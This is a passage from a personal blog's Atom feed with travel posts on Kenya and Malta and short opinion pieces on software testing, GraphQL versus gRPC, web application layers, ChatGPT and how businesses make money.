         alt="Masai Mara - Zebra" width="900"/> </a>
</figure>

<h3 id="day-4-drive-to-lake-naivasha">Day 4: Drive to Lake Naivasha</h3>
<p>We started the day with a tour of a village of the Masai tribe. Learning about their culture and traditions. Feels a bit artificial of an experience.</p>
<figure>
    
    <a href="Masai-village-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Masai-village-1024x768.jpg"
         alt="A Masai tribe member stands in traditional attire, highlighting their cultural practices and traditional setting" width="900"/> </a>
</figure>

<p>Rather than returning to Nairobi, I decide to extend my trip to visit Lake Naivasha where we saw more Hippos. We paid 2000 Kenyan Shillings per person for the boat ride.</p>
<figure>
    
    <a href="Naivasha-lake-Hippos-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Naivasha-lake-Hippos-1024x768.jpg"
         alt="A group of hippos partially submerged in Lake Naivasha" width="900"/> </a>
</figure>

<p>We stayed near Lake Nakuru that night.</p>
<h3 id="day-5-nakuru-national-park">Day 5: Nakuru National Park</h3>
<p>We started the day with a drive to Lake Nakuru National Park. And, finally, saw a Rhinoceros, completing the big five animal list.</p>
<figure>
    
    <a href="Lake-nakuru-Rhinoceros-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Lake-nakuru-Rhinoceros-1024x768.jpg"
         alt="A rhinoceros stands in a grassy landscape at Lake Nakuru National Park" width="900"/> </a>
</figure>

<p>Flamingos&rsquo; favorite food is found in saltwater. But this lake seems to be expanding with underground fresh water and that&rsquo;s reducing its saltiness. This is causing Pink Flamingos to migrate away from Lake Nakuru.</p>
<figure>
    
    <a href="Lake-nakuru-Pink-Flamingos-e1634864410549-1024x666.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Lake-nakuru-Pink-Flamingos-e1634864410549-1024x666.jpg"
         alt="A large group of pink flamingos wading in a vast lake with clear blue water" width="900"/> </a>
</figure>

<p>Rather than returning to Nairobi, I stayed back in Naivasha to do Hell&rsquo;s Gate park the next day on my own. You don&rsquo;t need a guided tour for that. Just pick a good 
<a href="/travel/hotels-vs-airbnb-vs-hostels/">hotel</a> near the town center. I would highly recommend   
    
    
<a href="https://goo.gl/maps/hXwXytMoVm96xqbC8?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Jane&rsquo;s guesthouse</a>. While it&rsquo;s ~1 km away from the town center, its ambiance is great and the rooms are spacious.   
    
    
<a href="https://goo.gl/maps/dYrwQ54aovgZCpFVA?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Urban Dining</a> is a great restaurant for vegetarian food.</p>
<h3 id="day-6-biking-in-hells-gate-national-park">Day 6: Biking in Hell&rsquo;s Gate National Park</h3>
<p>I took a 100 KSh matatu to Hell&rsquo;s Gate Park in the morning. The matatu drops you exactly on the highway about 2 km from the main entrance. You should rent a bicycle here for 600 KSh to properly explore the park. Many bikes are in decrepit condition, so, do try before you finalize the rental. The entrance fee is USD 20 for one person and 215 KSh for one bike.</p>
<p>Hell&rsquo;s Gate National Park is one of the few national parks in Kenya where you can bike and see wild animals like giraffes and Zebra. And that&rsquo;s because this park has no predatory animals like Lions. I took the longest route which involved ~40 km of biking. I took this route because I wanted to check out Obsidian caves but it seems a few years back the ceiling fell and the entrance is now closed. I would recommend taking the shorter one that&rsquo;s about 24 km round-trip. I would recommend visiting the Slot Canyon as well. For visiting the canyon, while you can do it on your own, you need a guide to get you in and help you rappel down and up. You can get a guide at the gate for ~1000-1500 KSh. I would say it is worth it. I spent about five hours in the park.</p>
<figure>
    
    <a href="Hells-gate-obsidian-cave-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Hells-gate-obsidian-cave-1024x768.jpg"
         alt="Obsidian cave" width="900"/> </a>
</figure>

<figure>
    
    <a href="Hells-gate-biking-e1634868798735-1024x663.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Hells-gate-biking-e1634868798735-1024x663.jpg"
         alt="A scenic image of a canyon, with steep rock walls surrounding an obsidian cave entrance. There is a note about needing to rappel to enter or exit the canyon." width="900"/> </a>
</figure>

<p>Getting in and out of the canyon requires rappelling.</p>
<figure>
    
    <a href="Hells-gate-slot-canyon-rappel-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Hells-gate-slot-canyon-rappel-768x1024.jpg"
         alt="A person rappels down a narrow canyon, emphasizing the challenging terrain. Flash flooding is a risk in this location during the rainy season." width="900"/> </a>
</figure>

<p>The canyon is narrow and flash flooding during the rainy season is a real risk here.</p>
<figure>
    
    <a href="Hells-gate-slot-canyon-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Hells-gate-slot-canyon-768x1024.jpg"
         alt="A narrow canyon with rocky walls, posing a risk of flash flooding during the rainy season, and featuring a hot water waterfall with high sulfur content." width="900"/> </a>
</figure>

<p>There is a hot water waterfall with high sulfur content.</p>
<figure>
    
    <a href="Hells-gate-slot-canyon-waterfall-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Hells-gate-slot-canyon-waterfall-768x1024.jpg"
         alt="A hot water waterfall with high sulfur content, situated within Hell&#39;s Gate Slot Canyon, surrounded by steep, rugged rock formations." width="900"/> </a>
</figure>

<p>Later in the evening, I took a matatu back to Nairobi and then an 8-hour overnight bus from Nairobi to Mombasa. There&rsquo;s a   
    
    
<a href="https://metickets.krc.co.ke/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">train</a> as well, but it runs at odd hours.</p>
<h3 id="day-7-mombasa">Day 7: Mombasa</h3>
<p>I started my day in Mombasa by visiting the arch and the 16th-century Portuguese Fort. This was followed by a trip to the Jain Temple and then an ISKCON Temple. Mombasa, given its proximity to India, has a large Indian population that&rsquo;s mostly engaged in trading.</p>
<figure>
    
    <a href="Mobasa-arch-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Mobasa-arch-1024x768.jpg"
         alt="Mombasa" width="900"/> </a>
</figure>

<p>I took an hour-long guided tour of Fort Jesus. The entry fee was 1200 KSh and the guide charged me 500 KSh. I would highly recommend the guided tour if you are planning to go inside this 16th century, Portuguese Fort.</p>
<figure>
    
    <a href="Mombasa-Fort-Jesus-1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Mombasa-Fort-Jesus-1-768x1024.jpg"
         alt="A historic, 16th-century Portuguese fort with stone walls and battlements, situated in Mombasa. There is a recommendation for a guided tour to explore its interior." width="900"/> </a>
</figure>

<figure>
    
    <a href="Mombasa-ISKCON-temple-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Mombasa-ISKCON-temple-1024x768.jpg"
         alt="ISKCON Temple" width="900"/> </a>
</figure>

<h3 id="day-8-cruise">Day 8: Cruise</h3>
<p>I did a day   
    
    
<a href="https://wasini.net/dolphin-snorkeling-tours-with-blue-whale-boat-operators/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">cruise</a> in a traditional Arabic Dhow.</p>
<p>The tour started with a visit to the Shimoni caves. During an earlier era, slaves were chained and kept here before being sent to the Americas.</p>
<figure>
    
    <a href="Mombasa-shimoni-caves-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Mombasa-shimoni-caves-768x1024.jpg"
         alt="A historical cave entrance with a description about its past use for imprisoning slaves before their transport to the Americas." width="900"/> </a>
</figure>

<p>Then we went on the day cruise. Remember, do carry a   
    
    
<a href="https://amzn.to/3RyfxHm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">hydration pack</a> as no plastic bottles are allowed in the reserve area, and it gets really hot during the cruise. The boat looked rickety and I was concerned that it might not turn out to be a great experience, but I have to say it was one of the best 
<a href="/travel/first-time-cruisers/">day cruises</a>, I had done. Probably close to 
<a href="/travel/belize/">Belize</a> and the 
<a href="/travel/escaping-into-caribbean-with-norwegian-escape-cruise/">Cayman Islands</a> in terms of the experience.</p>
<figure>
    
    <a href="Mombasa-cruise-dhow-e1634866676264-1024x592.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Mombasa-cruise-dhow-e1634866676264-1024x592.jpg"
         alt="A traditional dhow boat sails on a calm sea, with distant land and a few scattered clouds in the background." width="900"/> </a>
</figure>

<p>Luckily, we saw dolphins.</p>
<figure>
    
    <a href="Mombasa-cruise-Dolphins-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Mombasa-cruise-Dolphins-768x1024.jpg"
         alt="Dolphins as seen in Mombasa" width="900"/> </a>
</figure>

<p>Then we went on a 30-minute snorkel tour and saw quite a few fish.</p>
<figure>
    
    <a href="Mombasa-cruise-snorkel-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Mombasa-cruise-snorkel-1024x768.jpg"
         alt="A group of people participate in a snorkel tour near Mombasa, where many fish are observed underwater." width="900"/> </a>
</figure>

<p>In the afternoon, we stopped at Wasini Island for the lunch. I, usually, have low expectations of vegetarian food. But the food was great.</p>
<figure>
    
    <a href="Mombasa-cruise-lunch-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Mombasa-cruise-lunch-1024x768.jpg"
         alt="A lunch table is set with vegetarian dishes on Wasini Island" width="900"/> </a>
</figure>

<p>The final stop on the island was the Coral gardens on Wasini Island. They were formed when the ocean water level was much higher.</p>
<figure>
    
    <a href="Mombasa-cruise-coral-gardens-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Mombasa-cruise-coral-gardens-1024x768.jpg"
         alt="A coral garden on Wasini Island, formed when ocean water levels were higher, surrounded by clear blue waters." width="905"/> </a>
</figure>

<p>Then, I took an 
<a href="/travel/public-transport-guide/">overnight train</a> back to Nairobi. The train onboarding is a perfect example of African bureaucracy. First, you stand in a line to go through the security check. Then you stand in the second line to print your online ticket. Then you stand in a third line to go through the ticket + security check. Then you form a fourth line to board the train where an officer checks your ticket for the second time. The experience of flying out of Nairobi wasn&rsquo;t very different either. Multiple lines, multiple security checks, multiple document verifications.</p>
<p>Note:</p>
<ol>
<li>Bolt is more popular and has better coverage than Uber in Kenya.</li>
<li>Airtel has better coverage than T-Mobile or Google Fi and will be extremely cheap as well. I got 3GB of data for $3.</li>
<li>Credit card acceptance is pretty high, so, you don&rsquo;t have to use cash at any physical store. If you need cash, go to SBM for zero-fee cash withdrawals even with foreign debit cards.</li>
<li>Single-use plastic bottles are banned in most national parks. While nobody checks, you can, in principle, be fined if you are spotted with one.</li>
<li>COVID-19 PCR test takes about 24 hours and an antigen test takes about 3-4 hours for the result. PCR test costs 7000 KSh and Anti-gen test costs 3450 KSh. You have to convince them to do an antigen test since the US is one of the few countries that accept the results of the antigen test.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/kenya" term="kenya" label="kenya"/><category scheme="https://ashishb.net/tag/africa" term="africa" label="africa"/></entry><entry><title type="html">Bad and good ways to test code</title><link href="https://ashishb.net/programming/bad-and-good-ways-to-write-automated-tests/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/how-to-add-a-new-formula-to-homebrew-package-manager/?utm_source=atom_feed" rel="related" type="text/html" title="How to add a new formula to homebrew package manager"/><link href="https://ashishb.net/programming/how-to-setup-go-packages-under-monorepo/?utm_source=atom_feed" rel="related" type="text/html" title="How to setup Go packages under monorepo"/><link href="https://ashishb.net/programming/android-always-show-toasts-on-the-background-thread/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Always show toasts on the background thread"/><link href="https://ashishb.net/programming/how-to-deploy-docker-images-on-microsoft-azure/?utm_source=atom_feed" rel="related" type="text/html" title="How to deploy Docker images on Microsoft Azure"/><link href="https://ashishb.net/programming/end-to-end-testing-mobile-apps/?utm_source=atom_feed" rel="related" type="text/html" title="End-to-end testing of mobile apps"/><id>https://ashishb.net/programming/bad-and-good-ways-to-write-automated-tests/</id><author><name>Ashish Bhatia</name></author><published>2023-02-18T19:50:40+00:00</published><updated>2023-02-18T19:50:40+00:00</updated><content type="html"><![CDATA[<blockquote>Discover a better way to write tests for startups. Focus on integration tests over unit tests to minimize future code changes and ensure robust software.</blockquote><p>Writing tests at an early-stage startup is always heatedly debated.
If a function has one call, adding a unit test doubles the number of calls, this not only doubles the current work
but even slows down future code changes 2X!
Further, if the code is not finalized, it is legitimate to ask why even bother writing test code.
Here&rsquo;s a better way to write tests.</p>
<p>Always write tests along the axis of minimum future code change.
For example, test your REST/GraphQL API, or CLI interface.
Not only such code mutates slower but any test-breaking changes here are the most devastating ones.
Further, once an all-encompassing test has been written, someone can come in and easily test for more cases.
So, this sets up the basis for more future testing of the code.</p>
<blockquote>
<p>Always write tests along the axis of minimum future code change.</p></blockquote>
<p>Some software engineers would immediately out that these are integration tests and not unit tests.
And that&rsquo;s correct.
I would even claim that an early-stage startup needs integration tests more than unit tests.
Unless you are writing some very specific algorithms, unit tests are usually a waste of time and cost even more
time in terms of maintenance in the future.</p>
<p>The integration tests, however, are a coded contract between two engineers, one who is writing the test and
one who is modifying that code in the future. It might be the same person 6 months apart!</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/></entry><entry><title type="html">GraphQL vs gRPC</title><link href="https://ashishb.net/programming/graphql-vs-grpc/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/how-to-add-a-new-formula-to-homebrew-package-manager/?utm_source=atom_feed" rel="related" type="text/html" title="How to add a new formula to homebrew package manager"/><link href="https://ashishb.net/programming/how-to-setup-go-packages-under-monorepo/?utm_source=atom_feed" rel="related" type="text/html" title="How to setup Go packages under monorepo"/><link href="https://ashishb.net/programming/android-always-show-toasts-on-the-background-thread/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Always show toasts on the background thread"/><link href="https://ashishb.net/programming/how-to-deploy-docker-images-on-microsoft-azure/?utm_source=atom_feed" rel="related" type="text/html" title="How to deploy Docker images on Microsoft Azure"/><link href="https://ashishb.net/programming/end-to-end-testing-mobile-apps/?utm_source=atom_feed" rel="related" type="text/html" title="End-to-end testing of mobile apps"/><id>https://ashishb.net/programming/graphql-vs-grpc/</id><author><name>Ashish Bhatia</name></author><published>2023-02-12T17:00:03+00:00</published><updated>2023-02-12T17:00:03+00:00</updated><content type="html"><![CDATA[<blockquote>Discover when to choose gRPC or GraphQL for your API service. Learn the benefits of strong type checking, language-agnostic frameworks, and optimal use cases.</blockquote><p>RPC calls allow one service to call functions in another service as if it is a part of the same service. And unlike a REST API, one gets strong type checking. The two services can even be in different languages.    
    
    
<a href="https://grpc.io/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">gRPC</a> is a great framework for implementing an RPC service.</p>
<p>Another language-agnostic framework for making RPC calls is   
    
    
<a href="https://graphql.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">GraphQL</a>. Many people don&rsquo;t think of GraphQL that way, however, it can serve the same purpose.</p>
<p>Both GraphQL and gRPC are modeled as server and client-side frameworks. So, which one should you use?</p>
<p>GraphQL is a superior option when one is planning to build an API service that&rsquo;s exposed to the Internet. Even more so, because multiple queries can be combined into one.</p>
<p>gRPC, however, is better for the use case where the gRPC server is a private service not exposed to the public network.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/></entry><entry><title type="html">The different layers of a web applications</title><link href="https://ashishb.net/tech/the-different-layers-of-a-web-applications/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/timing/?utm_source=atom_feed" rel="related" type="text/html" title="Timing"/><link href="https://ashishb.net/tech/real-vs-theoretical-engineering-productivity/?utm_source=atom_feed" rel="related" type="text/html" title="Real vs Theoretical Engineering Productivity"/><link href="https://ashishb.net/tech/play-to-earn-games/?utm_source=atom_feed" rel="related" type="text/html" title="Play-to-earn games"/><link href="https://ashishb.net/tech/too-much-documentation-is-harmful/?utm_source=atom_feed" rel="related" type="text/html" title="Too much documentation is harmful"/><link href="https://ashishb.net/tech/engineering-stack/?utm_source=atom_feed" rel="related" type="text/html" title="Engineering stack"/><id>https://ashishb.net/tech/the-different-layers-of-a-web-applications/</id><author><name>Ashish Bhatia</name></author><published>2023-02-05T17:00:42+00:00</published><updated>2023-02-05T17:00:42+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the mandatory layers of web apps: Storage, Compute, and View. Learn about the standardization trends in compute and view layers and the challenges in storage.</blockquote><p>There are three mandatory layers of any non-trivial user-facing web application.
Storage, compute and view.
The view is the front-end website and the mobile app(s).
The storage is the database layer like MySQL or Mongo DB.
The compute layer is the actual backend service serving the web content and related APIs.</p>
<p>Over the past decade, the compute layer has been standardized around Docker.
One can use Docker on 
<a href="/programming/how-to-deploy-side-projects-as-web-services-for-free/">serverless services</a> or more powerful declarative deployment approaches like Kubernetes.
Pretty much all cloud providers now support these.</p>
<p>The view has been standardized more or less too. The web development has centered around   
    
    
<a href="https://reactjs.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">React</a>
and to a lesser degree around the more independent and better quality framework   
    
    
<a href="https://vuejs.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Vue</a>.
The mobile development is controlled by the vendors.
Swift for iOS.
Kotlin for Android.
And a significant chunk of folks tinkering with 
<a href="/all/react-native/">React Native</a>.
Even the compute and view layer interaction has now been standardized on simple but brittle REST APIs and more powerful but complicated   
    
    
<a href="https://graphql.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">GraphQL</a>.</p>
<p>What surprisingly has not been standardized is the storage layer.
There isn&rsquo;t a standardized way to declaratively define one&rsquo;s storage models,
their migrations from one version to another,
and their transformations from one form to another for consumption by various   
    
    
<a href="https://www.snowflake.com/guides/olap-vs-oltp?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">OLAP and OLTP systems</a> in a vendor-neutral way.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">The biggest impact of ChatGPT</title><link href="https://ashishb.net/tech/the-biggest-impact-of-chatgpt/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/timing/?utm_source=atom_feed" rel="related" type="text/html" title="Timing"/><link href="https://ashishb.net/tech/real-vs-theoretical-engineering-productivity/?utm_source=atom_feed" rel="related" type="text/html" title="Real vs Theoretical Engineering Productivity"/><link href="https://ashishb.net/tech/play-to-earn-games/?utm_source=atom_feed" rel="related" type="text/html" title="Play-to-earn games"/><link href="https://ashishb.net/tech/too-much-documentation-is-harmful/?utm_source=atom_feed" rel="related" type="text/html" title="Too much documentation is harmful"/><link href="https://ashishb.net/tech/engineering-stack/?utm_source=atom_feed" rel="related" type="text/html" title="Engineering stack"/><id>https://ashishb.net/tech/the-biggest-impact-of-chatgpt/</id><author><name>Ashish Bhatia</name></author><published>2023-02-01T17:00:12+00:00</published><updated>2023-02-01T17:00:12+00:00</updated><content type="html"><![CDATA[<blockquote>Discover how ChatGPT is set to revolutionize online interactions, replacing traditional FAQ pages with intuitive natural language conversational interfaces.</blockquote><p>In the decade of the 2010s, after Facebook became mainstream, social became a building block for websites.
A lot of websites added a concept of user profiles consisting of a name, a display picture, a profile description, and the ability to see/follow the activity stream of other users. Slowly, this became the standard expectation.</p>
<p>  
    
    
<a href="https://openai.com/blog/chatgpt/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ChatGPT</a> will have a similar impact. More and more users will get used to asking questions in natural language. Eventually, all the FAQ and knowledge-base articles would be replaced with a single box where users will ask a question in their preferred natural language. And then even the idea of actions would switch over to that one box, that users can use to navigate around and perform actions in the web applications.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">Malta in winters</title><link href="https://ashishb.net/travel/malta/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/stockholm-sweden/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Stockholm, Sweden"/><link href="https://ashishb.net/travel/copenhagen/?utm_source=atom_feed" rel="related" type="text/html" title="Copenhagen"/><link href="https://ashishb.net/travel/belgium/antwerp/?utm_source=atom_feed" rel="related" type="text/html" title="A day in Antwerp, Belgium"/><link href="https://ashishb.net/travel/belgium/brussels/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Brussels, Belgium"/><link href="https://ashishb.net/travel/france/paris/?utm_source=atom_feed" rel="related" type="text/html" title="Three days in overhyped Paris"/><id>https://ashishb.net/travel/malta/</id><author><name>Ashish Bhatia</name></author><published>2023-01-29T17:00:30+00:00</published><updated>2023-01-29T17:00:30+00:00</updated><content type="html"><![CDATA[<blockquote>Explore Malta in winter with our top picks for a memorable visit. Discover Mdina, Gozo, ancient temples, plus tips for a perfect stay and transport.</blockquote><p>We visited Malta in winter. Water activities are not possible in winter, so, this post will tell you what else there is to do in Malta.</p>
<p>If you have only one day then go to Mdina. If you have two days, then do Gozo as well.
If you have three days, then do the old temples. And if you have four days then do Valletta as well.</p>
<ol>
<li>The island has excellent 
<a href="/travel/public-transport-guide/">public transport</a> that you can count on. 1.5 Euro one-way ticket valid for a 2-hours journey in any direction.</li>
<li>I would recommend 
<a href="/travel/hotels-vs-airbnb-vs-hostels/">staying</a> in Sliema or St. Julian&rsquo;s for maximum comfort. If you want a Mediterranean-style stay then go to Valletta or Mdina instead.</li>
<li>The   
    
    
<a href="https://www.publictransport.com.mt/en/tallinja-smartphone-app?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Tallinja</a> app gives better suggestions than Google Maps regarding intra-island public transport.</li>
</ol>
<h3 id="day-1---mdina">Day 1 - Mdina</h3>
<p>Visit the old capital of Mdina. It has a classy Mediterranean look to it.</p>
<figure>
    
    <a href="mdina-1-628x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="mdina-1-628x1024.jpg"
         alt="A scenic street in the old capital Mdina, Malta, with warm-colored stone buildings displaying intricate architectural details. The cobblestone street and traditional Mediterranean elements create a historic atmosphere." width="900"/> </a>
</figure>

<p>While you are here, do go to the Museum of Dungeon. The entrance ticket is 5 Euros.
It is more of a gallery about medieval-era tortures than a museum. We enjoyed it.</p>
<figure>
    
    <a href="museum-of-dungeons-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="museum-of-dungeons-1024x768.jpg"
         alt="A medieval-themed gallery features torture devices and artifacts displayed for educational purposes" width="900"/> </a>
</figure>

<p>Palazzo Falson is also pretty good. The entrance ticket is 10 Euros.
Do take the 40-minute audio tour to understand the history.</p>
<p>The most unusual thing in all of Malta is St. Paul Catacombs. The entrance ticket is 6 Euros.
There are about 20 catacombs, and only some of them have live bones.
Some catacombs belong to 
<a href="/travel/rome-italy/">Roman</a> pagans, some to Christians, and some belong to the Jews.</p>
<figure>
    
    <a href="st-paul-catacombs-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="st-paul-catacombs-2-1024x768.jpg"
         alt="St. Paul Catacombs" width="900"/> </a>
</figure>

<figure>
    
    <a href="st-paul-catacombs-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="st-paul-catacombs-768x1024.jpg"
         alt="Ancient catacombs with interspersed textures create an intricate visual pattern, showcasing aged stone walls and historical architecture, part of old temples in Malta dating back to 2600 BC." width="900"/> </a>
</figure>

<h3 id="day-2---old-temples">Day 2 - Old temples</h3>
<p>There are many old temples from ~2600 BC in Malta. Most of them have been reconstructed though.
You can buy a 13 Euro ticket that covers multiple temples.</p>
<p>The first one that&rsquo;s farthest and best is Ħaġar Qim Temple.</p>
<figure>
    
    <a href="hagar-qim-temple-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="hagar-qim-temple-1024x768.jpg"
         alt="Ħaġar Qim Temple, set in an open landscape with minimal vegetation." width="900"/> </a>
</figure>

<p>The next thing we visited was Għar Dalam Cave. They are a bit underwhelming, so, feel free to skip them.</p>
<figure>
    
    <a href="ghar-dalam-cave-1024x656.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ghar-dalam-cave-1024x656.jpg"
         alt="Għar Dalam Cave, an archaeological site, with a large, dimly lit entrance surrounded by rugged terrain and minimal vegetation." width="900"/> </a>
</figure>

<p>Tarxien Temple is OK, but it can be done in about 30 minutes.</p>
<figure>
    
    <a href="tarxien-temple-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tarxien-temple-1024x768.jpg"
         alt="Tarxien temple is a rocky cave formation with a large entrance surrounded by vegetation" width="900"/> </a>
</figure>

<h3 id="day-3---gozo">Day 3 - Gozo</h3>
<p>Gozo island is 20 minutes from the main Malta island. The ferry is cheap and   
    
    
<a href="https://www.gozochannel.com/ferry/schedule/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">runs</a> throughout the day.
I would recommend taking an early ferry in the morning.
The ferry from Malta to Gozo is free and the return ferry costs 4.65 Euro.</p>
<figure>
    
    <a href="ferry-to-gozo-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ferry-to-gozo-1024x768.jpg"
         alt="Ferry to Gozo" width="900"/> </a>
</figure>

<p>We took a 15 Euro round-trip per-person boat from Gozo to Comino. It was an OK island. It might have been more fun during the summer. We spent about 2 hours on Comino island.</p>
<figure>
    
    <a href="comino-island-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="comino-island-1024x768.jpg"
         alt="Comino island is a serene island landscape with clear blue waters and rocky terrain" width="900"/> </a>
</figure>

<figure>
    
    <a href="comino-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="comino-2-1024x768.jpg"
         alt="View of Comino Island featuring clear blue waters and rocky shores, with St. Mary&#39;s Tower visible in the background." width="900"/> </a>
</figure>

<figure>
    
    <a href="comino-island-st-mary-tower-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="comino-island-st-mary-tower-768x1024.jpg"
         alt="A picturesque image of Comino Island with St. Mary&#39;s Tower prominently featured, set against a clear blue sky." width="900"/> </a>
</figure>

<p>On returning to Gozo, we went to the Citadella.
It was too late to visit museums that would close at 4:30 PM but even without seeing the museums, the visit was worth it.
The island of Gozo seems to have a better standard of living than the main island.</p>
<figure>
    
    <a href="gozo-seen-from-citadella-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="gozo-seen-from-citadella-1024x768.jpg"
         alt="View from a high vantage point overlooking the island of Gozo, showing its landscape with scattered buildings and greenery under a clear blue sky." width="900"/> </a>
</figure>

]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/malta" term="malta" label="malta"/><category scheme="https://ashishb.net/tag/europe" term="europe" label="europe"/></entry><entry><title type="html">How do businesses make money</title><link href="https://ashishb.net/finance/how-do-businesses-make-money/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/finance/why-there-arent-many-digital-nomads-from-india/?utm_source=atom_feed" rel="related" type="text/html" title="Why there aren't many digital nomads from India"/><link href="https://ashishb.net/finance/the-land-of-good-deals/?utm_source=atom_feed" rel="related" type="text/html" title="The land of good deals"/><link href="https://ashishb.net/finance/inflation/?utm_source=atom_feed" rel="related" type="text/html" title="Inflation, IRS, Credit cards, and Vendors"/><link href="https://ashishb.net/finance/revenue-vs-cost-axis/?utm_source=atom_feed" rel="related" type="text/html" title="Revenue vs Cost Axis"/><link href="https://ashishb.net/finance/usa-union-of-sales-and-advertisement/?utm_source=atom_feed" rel="related" type="text/html" title="USA = Union of Sales and Advertisement"/><id>https://ashishb.net/finance/how-do-businesses-make-money/</id><author><name>Ashish Bhatia</name></author><published>2023-01-21T17:00:19+00:00</published><updated>2023-01-21T17:00:19+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the four legal ways businesses and individuals make money: offering time, expertise, batching, and monopolies. Uncover which applies to you.</blockquote><blockquote>
<p>A charity is when your customers capture value when you don&rsquo;t.
A scam is when you capture value but your customers don&rsquo;t.
A business is when you and your customers both capture value.
- unknown</p></blockquote>
<p>There are only a few legal ways via which businesses/individuals make money.</p>
<ol>
<li>Offering time
Let&rsquo;s say it takes an hour to clean your house.
You can do it yourself, or you can hire a maid to do it.
When you hire a maid, you clearly signal that your time is more valuable than hers.
Tons of similar businesses like made-to-order food operate on the same principle.
What they are selling is not the expertise of any form but pure commoditized time.</li>
<li>Offering expertise
Lawyers, CPAs, accountants, and even creative workers like UX designers fall into this category.
They are offering specific expertise in areas that are unfamiliar to you.
And the reason you pay them is, primarily, to avoid developing that expertise yourself.
Some expertise like medical knowledge is deep.
Some others say social media marketing is shallow and erodes much more quickly.</li>
<li>Batching
A business can serve more customers by combining identical requests from multiple users.
For example, Walmart ship trucks full of Coca-cola and then retails them over time.
For example, Google maintains one index of the web that can serve billions of users every day.
A counter-example of this is Uber, which appears to batch but, so far, has not succeeded in doing so.</li>
<li>Monopoly
A brand is a form of monopoly.
